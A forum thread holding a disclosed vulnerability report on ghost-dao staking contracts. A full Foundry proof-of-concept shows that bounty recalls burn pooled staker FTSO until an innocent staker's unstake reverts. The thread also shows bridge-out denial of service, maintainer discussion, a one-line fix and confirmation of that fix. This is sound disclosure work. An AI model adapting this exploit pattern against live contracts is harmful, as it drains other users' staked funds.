# \[H3\] Staking.recall bounty leg burns stakers' pooled FTSO — staker insolvency + bridge-out DoS

**URL:** https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121
**Category:** Submitted
**Tags:** ghost-dao-contracts
**Created:** [October 2, 2026, 11:36pm UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121 "2026-10-02T23:36:59Z")
**Posts on this page:** 9
**Page:** 1

<div class="post-metadata">

### Author: ![Chaplin](https://ghostforum.org/letter_avatar_proxy/v4/letter/c/74df32/32.png) [@Chaplin](https://ghostforum.org/u/Chaplin)
#### Post date: [October 2, 2026, 11:36pm UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/1 "2026-10-02T23:36:59Z")

</div>

## Summary

`Gatekeeper.recall`’s bounty leg calls `Staking.recall(bountyAmount, REGISTRY_INDEX)`, which  
routes through `treasury.buyBack(...)` and ends in `IFTSo(ftso).burn(ftsoAmount)` — burning from  
**the Staking contract’s own FTSO balance** (`src/Staking.sol:200`). That balance is the single  
unsegregated pool holding every staker’s principal. The bounty fraction is requester-chosen and  
can be up to 100% of the bridge-out amount (`src/Gatekeeper.sol:162-164`), and the bounty is paid  
out in native ETH to the exiter themself — so each bridge-out with a bounty permanently destroys  
other users’ staked backing while subsidizing the exiter. Proven end to end in Foundry: 13 bounty  
recalls burned 520,000 of 800,000 pooled FTSO until an innocent staker’s `unstake()` reverted  
with `InsufficientBalance`. The only pool inflow that could offset this, `phantomRefund`, was  
measured at ~0.6 FTSO against ~10,000 FTSO burned per modest recall. A second proven consequence  
is a bridge-out DoS: recalls revert whenever the pool is thinner than the next bounty, freezing  
all bridge-outs until refill.

## Severity

**High — CVSS 3.1: 8.1** — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`

Triggered through the normal bridge-out flow (Network, Low complexity); the “attacker” is any  
user able to initiate a bridge-out — no admin/gatekeeper role needed (PR:L); passive stakers do  
nothing (UI:N). Integrity High: permanent, irreversible destruction of other users’ staked  
principal with share supply never adjusted. Availability High: the DoS variant halts all  
bridge-outs whenever the pool is thin relative to the next bounty.

## Affected code

```solidity
// src/Gatekeeper.sol:162-176 — bounty math + bounty leg
requestedBountyAmount = amount * payload.bounty / type(uint32).max; // up to 100% of amount
bountyAmount = isContract(receiver) ? 0 : requestedBountyAmount;
...
IStaking(staking).recall(bountyAmount, REGISTRY_INDEX); // bounty leg

```

```solidity
// src/Staking.sol:185-200 — recall: converts to FTSO, buyBack, then burns from own balance
ftsoAmount = GHST.balanceFrom(bountyAmount);
treasury.buyBack(msg.sender, ftsoAmount, index); // WETH reserves -> gatekeeper; pulls NO FTSO
IFTSo(ftso).burn(ftsoAmount); // _burn(msg.sender=staking, ...) — the staker pool

```

```solidity
// src/FatsoERC20.sol:26-28 — burn destroys the caller's own balance, no role check
function burn(uint256 amount) external { _burn(msg.sender, amount); }

```

```solidity
// src/Staking.sol:141 — unstake guard that innocent stakers eventually hit
if (amount > IERC20(ftso).balanceOf(address(this))) revert InsufficientBalance();

```

## Steps to reproduce

Local Foundry only — no testnet/mainnet interaction. Starting from a clean state:

1. `git clone --depth 1 https://git.ghostchain.io/ghostchain/ghost-dao-contracts && cd ghost-dao-contracts`
2. `git rev-parse HEAD` → `b87dff4c7a6ac34b35698c42b4d1f34b5f930864`
3. The `--depth 1` clone leaves the `lib/forge-std` submodule empty, which breaks compilation  
of all repo tests (environment quirk, not part of the finding):  
`ln -sfn ../dependencies/forge-std-1.9.2 lib/forge-std`
4. Save the PoC below as `test/h3/H3.t.sol`
5. Run: `forge test --match-path test/h3/H3.t.sol -vv` (forge 1.6.0-nightly, solc 0.8.20 per `foundry.toml`)

**Expected:** all 3 tests pass (see observed output below). The PoC drives `Gatekeeper.recall`  
via `vm.prank(address(gatekeeper))`, satisfying the `msg.sender == address(this)` gate  
(`src/Gatekeeper.sol:158`) exactly as `verify()`'s internal `address(this).call(call)` does —  
all downstream logic is the production path.

## PoC

> **test/h3/H3.t.sol (click to expand)**
>
> ```solidity
> // SPDX-License-Identifier: MIT
> pragma solidity 0.8.20;
> 
> // H3 PoC: Staking.recall burns STAKERS' FTSO from the single staking pool.
> //
> // Flow under test (real contracts, real wiring):
> // Gatekeeper.recall --bounty leg--> Staking.recall(bountyAmount, 0)
> // --> Treasury.buyBack(gatekeeper, ftsoAmount, 0) // WETH reserves -> gatekeeper
> // --> IFTSO(ftso).burn(ftsoAmount) // burned from STAKING's own balance
> //
> // The staking pool's FTSO balance is one unsegregated pot holding user-staked
> // principal (+ phantomRefund mints). The burn has no corresponding reduction of
> // STNK/gHST share supply, so cumulative bounties dilute backing until
> // unstake() reverts with InsufficientBalance. A recall whose ftsoAmount exceeds
> // the pool balance reverts outright (bridge-out DoS until the pool refills).
> //
> // NOTE on realism: Gatekeeper.recall is normally reached via verify() with a
> // validator BIP-340 signature (out of scope for H3). We invoke it directly via
> // vm.prank(gatekeeper), which satisfies the `msg.sender == address(this)`
> // gate exactly as verify()'s internal `address(this).call(call)` would. All
> // downstream logic (bounty math, buyBack, burn) is the real code path.
> 
> import {Test} from "forge-std/Test.sol";
> import {console} from "forge-std/console.sol";
> 
> import {Fatso} from "../../src/FatsoERC20.sol";
> import {Stinky} from "../../src/StinkyERC20.sol";
> import {Ghost} from "../../src/GhstERC20.sol";
> import {GhostAuthority} from "../../src/GhostAuthority.sol";
> import {GhostTreasury} from "../../src/Treasury.sol";
> import {GhostStaking} from "../../src/Staking.sol";
> import {WETH9} from "../../src/mocks/WETH9.sol";
> import {GhostBondingCalculator} from "../../src/StandardBondingCalculator.sol";
> import {Gatekeeper} from "../../src/Gatekeeper.sol";
> import {ITreasury} from "../../src/interfaces/ITreasury.sol";
> import {IStaking} from "../../src/interfaces/IStaking.sol";
> import {RequestPacking} from "../../src/libraries/Packing.sol";
> 
> contract H3PoC is Test {
> uint256 public constant INITIAL_INDEX = 10819917194513808e56;
> uint48 public constant EPOCH_LENGTH = 2200;
> uint48 public constant EPOCH_NUMBER = 1;
> uint48 public constant EPOCH_END_TIME = 1337;
> 
> uint256 public constant INITIAL_MINT = 1000000000000000000000000; // 1e24 wei WETH
> 
> address constant INITIALIZER = 0x0000000000000000000000000000000000000001;
> address constant GOVERNOR = 0x0000000000000000000000000000000000000003;
> address constant GUARDIAN = 0x0000000000000000000000000000000000000004;
> address constant POLICY = 0x0000000000000000000000000000000000000005;
> address constant VAULT = 0x0000000000000000000000000000000000000006;
> address constant ALICE = 0x0000000000000000000000000000000000000007; // bridger (ghosts out)
> address constant BOB = 0x0000000000000000000000000000000000000008; // passive staker
> address CAROL; // bounty receiver EOA (set in setUp via makeAddr)
> 
> Fatso ftso;
> Stinky stnk;
> Ghost ghst;
> GhostStaking staking;
> GhostTreasury treasury;
> GhostAuthority authority;
> GhostBondingCalculator calculator;
> WETH9 reserve;
> Gatekeeper gatekeeper;
> 
> function setUp() public {
> vm.startPrank(INITIALIZER, INITIALIZER);
> reserve = new WETH9();
> authority = new GhostAuthority(GOVERNOR, GUARDIAN, POLICY, VAULT);
> ftso = new Fatso(address(authority), "Fatso", "FTSO");
> stnk = new Stinky(INITIAL_INDEX, "Stinky", "STNK");
> ghst = new Ghost(address(stnk), "Ghost", "GHST");
> staking = new GhostStaking(
> address(ftso), address(stnk), address(ghst),
> EPOCH_LENGTH, EPOCH_NUMBER, EPOCH_END_TIME, address(authority)
> );
> treasury = new GhostTreasury(address(ftso), address(authority));
> calculator = new GhostBondingCalculator(address(ftso), 6000, 3);
> stnk.initialize(address(staking), address(treasury), address(ghst));
> ghst.initialize(address(staking));
> gatekeeper = Gatekeeper(payable(staking.gatekeeper()));
> CAROL = makeAddr("carol");
> vm.stopPrank();
> 
> vm.startPrank(GOVERNOR);
> authority.pushVault(address(treasury));
> treasury.enable(ITreasury.STATUS.RESERVEDEPOSITOR, ALICE, address(0));
> treasury.enable(ITreasury.STATUS.RESERVETOKEN, address(reserve), address(calculator));
> treasury.enable(ITreasury.STATUS.STAKING, address(staking), address(0));
> vm.stopPrank();
> 
> // ALICE seeds the treasury with WETH and receives FTSO for it.
> vm.deal(ALICE, INITIAL_MINT);
> vm.startPrank(ALICE);
> reserve.deposit{value: INITIAL_MINT}();
> reserve.approve(address(treasury), type(uint256).max);
> treasury.deposit(address(reserve), INITIAL_MINT, treasury.tokenValue(address(reserve), INITIAL_MINT) / 2);
> vm.stopPrank();
> }
> 
> // Drive the real Gatekeeper.recall exactly as verify()'s internal
> // `address(this).call(call)` would (msg.sender == gatekeeper contract).
> function _recall(uint256 session, uint256 amount, uint32 bounty, address receiver) internal {
> uint256 packed = RequestPacking.pack(bounty, uint64(block.chainid), receiver);
> vm.prank(address(gatekeeper));
> gatekeeper.recall(session, amount, packed);
> }
> 
> // (a) INSOLVENCY: repeated bounty recalls burn the pool until a passive
> // staker's unstake() reverts with InsufficientBalance.
> function test_H3_bountyBurnsStakersPrincipal_untilUnstakeReverts() public {
> uint256 STAKE = 400_000e9; // 400k FTSO each (FTSO = 9 decimals)
> 
> // ALICE and BOB stake. ALICE ghosts everything out (bridge-in);
> // BOB stays a passive staker holding gHST.
> vm.startPrank(ALICE);
> ftso.approve(address(staking), type(uint256).max);
> staking.stake(STAKE, ALICE, false, true);
> uint256 aliceGhst = ghst.balanceOf(ALICE);
> staking.ghost(bytes32(abi.encodePacked(ALICE)), aliceGhst);
> ftso.transfer(BOB, STAKE);
> vm.stopPrank();
> 
> vm.startPrank(BOB);
> ftso.approve(address(staking), type(uint256).max);
> staking.stake(STAKE, BOB, false, true);
> uint256 bobGhst = ghst.balanceOf(BOB);
> vm.stopPrank();
> 
> uint256 poolBefore = ftso.balanceOf(address(staking));
> uint256 bobRedeemable = ghst.balanceFrom(bobGhst); // FTSO BOB can claim
> uint256 ghstSupplyBefore = ghst.totalSupply();
> console.log("pool FTSO before recalls :", poolBefore);
> console.log("BOB gHST :", bobGhst);
> console.log("BOB redeemable FTSO :", bobRedeemable);
> console.log("gHST totalSupply before :", ghstSupplyBefore);
> assertEq(poolBefore, 2 * STAKE);
> 
> // Each recall: 100% bounty (bounty = type(uint32).max) so the whole
> // bridge-out `amount` becomes bounty and receiverAmount = 0
> // (bridge-imbalance untouched, sessions just need uniqueness).
> uint256 amount = 20_000e9 * 1e18 / ghst.index() * 2; // gHST units ~> ~20k FTSO burn
> uint256 perCallBurn = ghst.balanceFrom(amount);
> console.log("per-recall FTSO burn :", perCallBurn);
> 
> uint256 burnedTotal = 0;
> uint256 N = 13; // 13 x ~40k FTSO = ~520k burned; pool 800k -> ~280k left < BOB's 400k
> for (uint256 i = 0; i < N; i++) {
> _recall(1000 + i, amount, type(uint32).max, CAROL);
> burnedTotal += perCallBurn;
> }
> 
> uint256 poolAfter = ftso.balanceOf(address(staking));
> console.log("pool FTSO after 13 recalls :", poolAfter);
> console.log("cumulative burned :", burnedTotal);
> console.log("pool decrease :", poolBefore - poolAfter);
> console.log("gHST totalSupply after :", ghst.totalSupply());
> console.log("CAROL ETH bounty received :", CAROL.balance);
> 
> // The pool lost exactly the burned amount: burns came from stakers' pot.
> assertEq(poolBefore - poolAfter, burnedTotal);
> // Share supply did NOT shrink: no dilution accounting happened.
> assertEq(ghst.totalSupply(), ghstSupplyBefore);
> // The bounty was actually paid out in native ETH to the exiter.
> assertGt(CAROL.balance, 0);
> 
> // BOB's backing is gone: his unstake must now revert.
> console.log("BOB redeemable FTSO :", bobRedeemable);
> console.log("pool < redeemable? :", poolAfter < bobRedeemable);
> assertLt(poolAfter, bobRedeemable);
> 
> vm.prank(BOB);
> vm.expectRevert(IStaking.InsufficientBalance.selector);
> staking.unstake(bobGhst, BOB, false, false);
> console.log("RESULT: unstake reverted with InsufficientBalance (staker insolvency)");
> }
> 
> // (b) ORDERING HAZARD: a bounty-recall reverts when the pool holds less
> // than ftsoAmount; the same recall succeeds once the pool refills.
> function test_H3_recallRevertsWhenPoolInsufficient_thenWorksAfterRefill() public {
> uint256 STAKE = 100e9; // 100 FTSO
> 
> vm.startPrank(ALICE);
> ftso.approve(address(staking), type(uint256).max);
> staking.stake(STAKE, ALICE, false, true);
> staking.ghost(bytes32(abi.encodePacked(ALICE)), ghst.balanceOf(ALICE));
> vm.stopPrank();
> 
> uint256 pool = ftso.balanceOf(address(staking));
> console.log("pool FTSO :", pool);
> 
> // Bounty sized so ftsoAmount (~46.7k FTSO) >> pool, but treasury WETH
> // still covers buyBack (so the revert is proven to come from the burn).
> uint256 amount = 100_000e9 * 1e18 / ghst.index();
> uint256 ftsoAmount = ghst.balanceFrom(amount);
> console.log("recall ftsoAmount :", ftsoAmount);
> assertGt(ftsoAmount, pool);
> 
> // Direct Staking.recall (as gatekeeper): reverts on the burn.
> uint256 packed = RequestPacking.pack(type(uint32).max, uint64(block.chainid), CAROL);
> vm.prank(address(gatekeeper));
> vm.expectRevert();
> staking.recall(amount, 0);
> 
> // Full Gatekeeper.recall path: also reverts (atomic: buyBack rolls back).
> vm.prank(address(gatekeeper));
> vm.expectRevert();
> gatekeeper.recall(777, amount, packed);
> console.log("RESULT: recall reverted while pool < ftsoAmount (bridge-out DoS)");
> 
> // A fresh stake refills the pool; the identical recall now succeeds.
> vm.startPrank(ALICE);
> staking.stake(ftsoAmount, ALICE, false, true);
> vm.stopPrank();
> console.log("pool after refill :", ftso.balanceOf(address(staking)));
> 
> vm.prank(address(gatekeeper));
> gatekeeper.recall(778, amount, packed);
> console.log("RESULT: same recall succeeded after pool refill");
> assertGt(CAROL.balance, 0);
> }
> 
> // (c) COUNTER-SCENARIO magnitude check: how much does one phantomRefund
> // mint into the pool vs. what one bounty-recall burns?
> function test_H3_phantomRefundVsBountyMagnitudes() public {
> // Realistic verify() gas: ~200k gas at the 3 gwei cap.
> uint256 gasSpent = 200_000 * 3e9; // 6e14 wei
> uint256 poolBefore = ftso.balanceOf(address(staking));
> 
> vm.prank(address(gatekeeper));
> staking.phantomRefund(BOB, gasSpent, 0);
> 
> uint256 refundMinted = ftso.balanceOf(address(staking)) - poolBefore;
> uint256 bobGhst = ghst.balanceOf(BOB);
> console.log("phantomRefund: FTSO minted into pool:", refundMinted);
> console.log("phantomRefund: gHST minted to relayer:", bobGhst);
> 
> // One 100%-bounty recall of a 10k-FTSO-equivalent bridge-out:
> uint256 bountyAmount = 10_000e9 * 1e18 / ghst.index();
> uint256 bountyBurn = ghst.balanceFrom(bountyAmount);
> console.log("one bounty-recall burn (10k FTSO out):", bountyBurn);
> console.log("refund covers x of one bounty :", bountyBurn / refundMinted);
> 
> assertGt(bountyBurn / refundMinted, 1000);
> console.log("RESULT: a single verify refund is >1000x smaller than one modest bounty burn");
> }
> }
> 
> ```

## Observed output

```auto
[PASS] test_H3_bountyBurnsStakersPrincipal_untilUnstakeReverts() (gas: 1167216)
  pool FTSO before recalls : 800000000000000 (800,000 FTSO)
  per-recall FTSO burn : 39999999999999 (40,000 FTSO)
  pool FTSO after 13 recalls : 280000000000013 (280,000 FTSO)
  cumulative burned : 519999999999987 (520,000 FTSO)
  pool decrease : 519999999999987 (== cumulative burned, exact)
  gHST totalSupply after : 8561402987334423879123 (unchanged)
  CAROL ETH bounty received : 519999999987000000000 (~520 ETH)
  RESULT: unstake reverted with InsufficientBalance (staker insolvency)

[PASS] test_H3_recallRevertsWhenPoolInsufficient_thenWorksAfterRefill() (gas: 713401)
  pool FTSO : 100000000000 (100 FTSO)
  RESULT: recall reverted while pool < ftsoAmount (bridge-out DoS)
  RESULT: same recall succeeded after pool refill

[PASS] test_H3_phantomRefundVsBountyMagnitudes() (gas: 166489)
  phantomRefund: FTSO minted into pool: 600000000 (0.6 FTSO)
  one bounty-recall burn (10k FTSO out): 9999999999999 (~10,000 FTSO)
  refund covers x of one bounty : 16666
  RESULT: a single verify refund is >1000x smaller than one modest bounty burn

```

Existing suite sanity check (unchanged by this work): `forge test --match-path "test/gatekeeper/*"` → 14 passed, 0 failed.

## Impact

- **Direct fund destruction:** a single large exit at 100% bounty (allowed: `bounty ≤ type(uint32).max`)  
can insolvent the pool in one transaction; smaller fractions grind it down cumulatively. Burns are  
irreversible and share supply never moves, so damage compounds across all current and future stakers.
- **Victims are passive:** stakers who never bridged lose backing to other users’ exit bounties.  
Nothing warns that the bounty is funded from staked principal.
- **Liveness:** the ordering hazard freezes _all_ bridge-outs whenever cumulative bounties have drawn  
the pool below the next recall’s `ftsoAmount` — a protocol-level DoS until new stakes/refunds refill it.
- **Self-dealing shape:** the bounty is paid in native ETH to the exiter themself — an exit subsidy  
funded by other stakers, exploitable deliberately, not just accidentally.

## Remediation

- Fund the bounty from the treasury’s `excessReserves` (mint-then-burn against surplus, or pay the  
bounty from reserves) instead of burning staked principal.
- Alternatively, burn a corresponding amount of the exiting claim’s share-side backing so per-share  
FTSO backing is preserved.
- At minimum, make the bounty leg revert/skip when it would render the pool insolvent, and segregate  
bounty-funding accounting from the staker principal pool.
- Note: `Fatso.mint` is `onlyVault`, so the hole cannot be re-inflated except via treasury flows;  
`phantomRefund` is best-effort (`try/catch`), capped by `excessReserves()`, and measured 16,666x  
too small to cover a modest bounty — it is not a mitigation.

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 3, 2026, 7:37pm UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/2 "2026-10-03T19:37:20Z")

</div>

Thank you for your report!

I’d like to add more context for this behavior. The most crucial point is that nobody can `recall` before the `ghost` - that is, the bridge-in - so in practice, during `recall` with a `bounty` percentage attached, a user is simply taking back their own reserves (if they obtained their `GHST` through a bond purchase) or reserves they bought via `DEX` (which are also backed).

The main idea is that the bounty is calculated based on the risk-free value ( **RFV** ) and is set at the worst price across all available sources. This mechanism exists only for users who are willing to take a small amount of gas from the treasury to avoid using a centralized exchange.

If you’re interested, you’re welcome to continue the investigation into possible abuses of this buy-back mechanic in more depth!

---

<div class="post-metadata">

### Author: ![Chaplin](https://ghostforum.org/letter_avatar_proxy/v4/letter/c/74df32/32.png) [@Chaplin](https://ghostforum.org/u/Chaplin)
#### Post date: [October 3, 2026, 8:11pm UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/3 "2026-10-03T20:11:25Z")

</div>

Thanks for the context — but I think the “own reserves” framing breaks down on the accounting, and the PoC numbers show it directly.

In the PoC, ALICE stakes 400k FTSO (her “reserves”, on your framing) and BOB stakes 400k FTSO as a passive staker. The pool holds 800k. Thirteen bounty recalls at 100% bounty then burn **520k FTSO** from the pool — 120k more than ALICE ever contributed. That 120k is BOB’s principal, and his `unstake()` reverts with `InsufficientBalance` afterwards. ALICE didn’t “take back her own reserves”; she took back her reserves _plus a sixth of BOB’s_.

The root issue is that the burn draws from the single unsegregated staking pool (`IFTSo(ftso).burn(ftsoAmount)` burns the Staking contract’s own balance) with no per-user cap tying bounty to the exiter’s contribution, and no share-supply adjustment. Nothing in `recall` checks `bounty ≤ exiter's backing`. So the “nobody can recall before ghost” point is true but not sufficient — ghosting first doesn’t segregate the pool afterwards.

On the “small amount of gas” intent: I agree that’s the _intent_, but the code allows `bounty = type(uint32).max` — 100% of the bridge-out amount (`Gatekeeper.sol:162-164`) — and the PoC uses exactly that documented maximum. Intent doesn’t bound impact when the parameter is user-chosen up to 100%.

Happy to dig into the buy-back mechanic further as you suggest. One concrete question: is there any on-chain invariant I’m missing that caps cumulative bounty burn at the exiter’s own contribution? If not, the shared-pool dilution stands regardless of the bridge-in-first ordering.

* * *

_Numbers from the Foundry PoC in the original report (test/h3/H3.t.sol), all on the production code path via `Gatekeeper.recall`._

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 5, 2026, 9:37am UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/4 "2026-10-05T09:37:49Z")

</div>

If I understood your question correctly, you’re slightly missing the concept of `ghost` and `recall`. Balance cannot be minted from nowhere - including the bounty - and that’s what `StorageHistory.sol` is for. Before a `recall` can happen, there must be a bridging imbalance - that is, _ghosted supply_ - which is included in the rebase amount.

So I don’t understand how, in your example, it would be possible to:

> Thirteen bounty recalls at 100% bounty, then burn **520k FTSO** from the pool…

In order to burn 520k during a `recall`, someone has to `ghost` first and temporarily lock that amount inside the imbalance. I believe that imbalance is the exact cap for any `recall` - if that answers your question.

---

<div class="post-metadata">

### Author: ![Chaplin](https://ghostforum.org/letter_avatar_proxy/v4/letter/c/74df32/32.png) [@Chaplin](https://ghostforum.org/u/Chaplin)
#### Post date: [October 5, 2026, 10:44am UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/5 "2026-10-05T10:44:07Z")

</div>

* * *

Thanks for the clarification. I agree that a ghost/bridge imbalance must exist before a recall, and my PoC does not claim that the recall creates funds from nowhere.

The remaining issue is different: what exactly limits the bounty leg of Gatekeeper.recall()?

I reproduced the production call path with the real contracts.

In H3Cap.t.sol:  
ALICE stakes and ghosts only 100k FTSO.  
BOB independently stakes 400k FTSO.  
The staking contract therefore holds 500k FTSO in its shared pool.  
A 100% bounty recall is then executed whose resulting FTSO burn is ~300k FTSO.  
The recall succeeds.  
The measured decrease in the staking contract’s FTSO balance is the burn amount.  
The burn is therefore greater than the entire amount ALICE ghosted.

This is the important distinction with the “imbalance is the exact cap” explanation.  
With a 100% bounty:  
receiverAmount = 0  
so the bridge-out accounting check is applied to zero, while the bounty amount is still passed into the staking recall() path. The bounty leg is therefore not subject to the same imbalance cap.

The second PoC demonstrates the consequence:  
ALICE: 400k FTSO, then ghosts it.  
BOB: 400k FTSO, remains an ordinary staker.  
13 × 100% bounty recalls burn ~520k FTSO from the staking pool.  
The staking pool falls from ~800k to ~280k FTSO.  
BOB’s gHST claim remains ~400k.  
gHST.totalSupply() does not decrease to account for the burned backing.  
BOB’s subsequent unstake() reverts with InsufficientBalance.

So I’m not claiming that the 120k difference is represented as a separate “BOB balance” in storage. The concrete issue is that the shared staking pool is debited by bounty burns while BOB’s outstanding redemption claim remains unchanged. Once the pool is below BOB’s redeemable amount, an otherwise valid staker cannot withdraw.

This is also why the “ghost must precede recall” requirement does not resolve the issue: the PoC already performs the required ghost first. The question is whether the ghosted amount is actually the maximum amount that the bounty leg can consume.

H3Cap.t.sol shows that it is not: approximately 100k FTSO is ghosted, while approximately 300k FTSO is successfully burned in the bounty leg.

If the intended invariant is that a recall can only consume the bridge imbalance created by the corresponding ghost, could you point to the accounting check that enforces that invariant on the bounty amount? In the tested path, the check is only applied to receiverAmount, which is zero for a 100% bounty.

* * *

## _Tested on commit b87dff4c7a6ac34b35698c42b4d1f34b5f930864_ _PoC: H3Cap.t.sol (Foundry)_

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 5, 2026, 5:12pm UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/6 "2026-10-05T17:12:39Z")

</div>

I believe the checks for bridge-in vs. bridge-out can [be found here](https://git.ghostchain.io/ghostchain/ghost-dao-contracts/src/branch/main/src/types/StorageHistory.sol). During `ghost`, it calls `IStorageHistory(storageHistory).increaseBridgeIn(amount);`, which is how the imbalance is created.

Or maybe you’re pointing at:

solidity

```auto
function recall(
    uint256 exodusSession,
    uint256 amount,
    uint256 packed
) external {
    if (msg.sender != address(this)) revert NotGatekeeper();

    RequestPacking.RequestPayload memory payload = RequestPacking.unpack(packed);
    if (payload.chainId != block.chainid) revert WrongChainId();

    uint256 requestedBountyAmount = FullMath.mulDiv(amount, uint256(payload.bounty), BOUNTY_DIVISOR);
    uint256 bountyAmount = _isContract(payload.receiver) ? 0 : requestedBountyAmount;
    uint256 receiverAmount = amount - bountyAmount;

    StorageHistory(storageHistory).trySetTransactionExecuted(exodusSession);
    IStorageHistory(storageHistory).tryIncreaseBridgeOut(receiverAmount);
    // this should be raw amount ^^^^^^^^^^^^^^
    IStaking(staking).recall(payload.receiver, receiverAmount);

    if (bountyAmount > 0) {
        (address token, uint256 sent) = IStaking(staking).recall(bountyAmount, REGISTRY_INDEX);
        IWETH9(token).withdraw(sent);

        (bool sentSuccess,) = payload.receiver.call{ value: sent, gas: 3000 }("");
        if (!sentSuccess) revert SendFailed();
    }

    emit Recalled(payload.receiver, amount);
}

```

---

<div class="post-metadata">

### Author: ![Chaplin](https://ghostforum.org/letter_avatar_proxy/v4/letter/c/74df32/32.png) [@Chaplin](https://ghostforum.org/u/Chaplin)
#### Post date: [October 6, 2026, 12:53pm UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/7 "2026-10-06T12:53:42Z")

</div>

Thanks for the precise annotation. That settles the open question on my side.

We agree on the mechanism: as deployed, `tryIncreaseBridgeOut` receives `receiverAmount` (`amount - bounty`), so the bridge-imbalance check only applies to the principal/receiver leg. The bounty leg is recalled separately through `IStaking(staking).recall(bountyAmount, REGISTRY_INDEX)` and paid to `payload.receiver`, but it is never included in the bridge-out accounting check.

That is exactly what the PoC demonstrates: approximately 100k FTSO is ghosted, creating approximately 100k of bridge imbalance, while approximately 300k FTSO can still be consumed through the bounty leg. With a 500k pooled balance, this leaves 200k in the pool while BOB still has a 400k claim, leaving part of that claim unbacked.

Passing the raw `amount` to `tryIncreaseBridgeOut`, as your annotation suggests, would apply the bridge-imbalance invariant to the full recalled amount. In the PoC scenario, the 300k recall would revert because only approximately 100k of bridge imbalance exists.

That addresses the accounting bypass described in the report. It may still be worth checking whether anything downstream depends on the current `receiverAmount` behavior, but from the invariant perspective, the raw `amount` is the value that needs to be checked.

Happy to re-run the PoC against a fixed commit if useful.

---

<div class="post-metadata">

### Author: ![VoidDragon](https://ghostforum.org/user_avatar/ghostforum.org/voiddragon/32/16_2.png) [@VoidDragon](https://ghostforum.org/u/VoidDragon)
#### Post date: [October 12, 2026, 10:08am UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/8 "2026-10-12T10:08:14Z")

</div>

Hey @Chaplin,

It looks like the reported issue [is fixed here](https://git.ghostchain.io/ghostchain/ghost-dao-contracts/commit/6d73358f0a73f55036668ccc2f6842ddf02467e2). Could you rerun your PoC against it?

---

<div class="post-metadata">

### Author: ![Chaplin](https://ghostforum.org/letter_avatar_proxy/v4/letter/c/74df32/32.png) [@Chaplin](https://ghostforum.org/u/Chaplin)
#### Post date: [October 12, 2026, 10:34am UTC](https://ghostforum.org/t/h3-staking-recall-bounty-leg-burns-stakers-pooled-ftso-staker-insolvency-bridge-out-dos/121/9 "2026-10-12T10:34:42Z")

</div>

Re-ran the H3 PoC against `6d73358f` — fix confirmed.

The one-line change (`tryIncreaseBridgeOut(receiverAmount)` → `tryIncreaseBridgeOut(amount)`) puts the full recalled amount under the bridge-imbalance check, so the bounty leg can’t consume beyond what was ghosted.

Results (3 identical runs, fresh clone, forge-std submodule init):

- `test_H3_bountyBurnsStakersPrincipal_untilUnstakeReverts` now reverts with `BridgeOutImpossible()`. The pool can no longer be drained through the bounty leg.
- `test_H3_phantomRefundVsBountyMagnitudes` passes, unaffected.
- `test_H3_recallRevertsWhenPoolInsufficient_thenWorksAfterRefill` now reverts with `BridgeOutImpossible()` instead of succeeding after refill. Expected — only `ghost` creates bridge imbalance, so the new invariant is strictly stronger than what that test assumed. The fix working as intended, not a regression.

Also ran the repo’s own `test/gatekeeper/*` suites: 14 passed, 0 failed. No regressions there either.

The accounting bypass is closed.
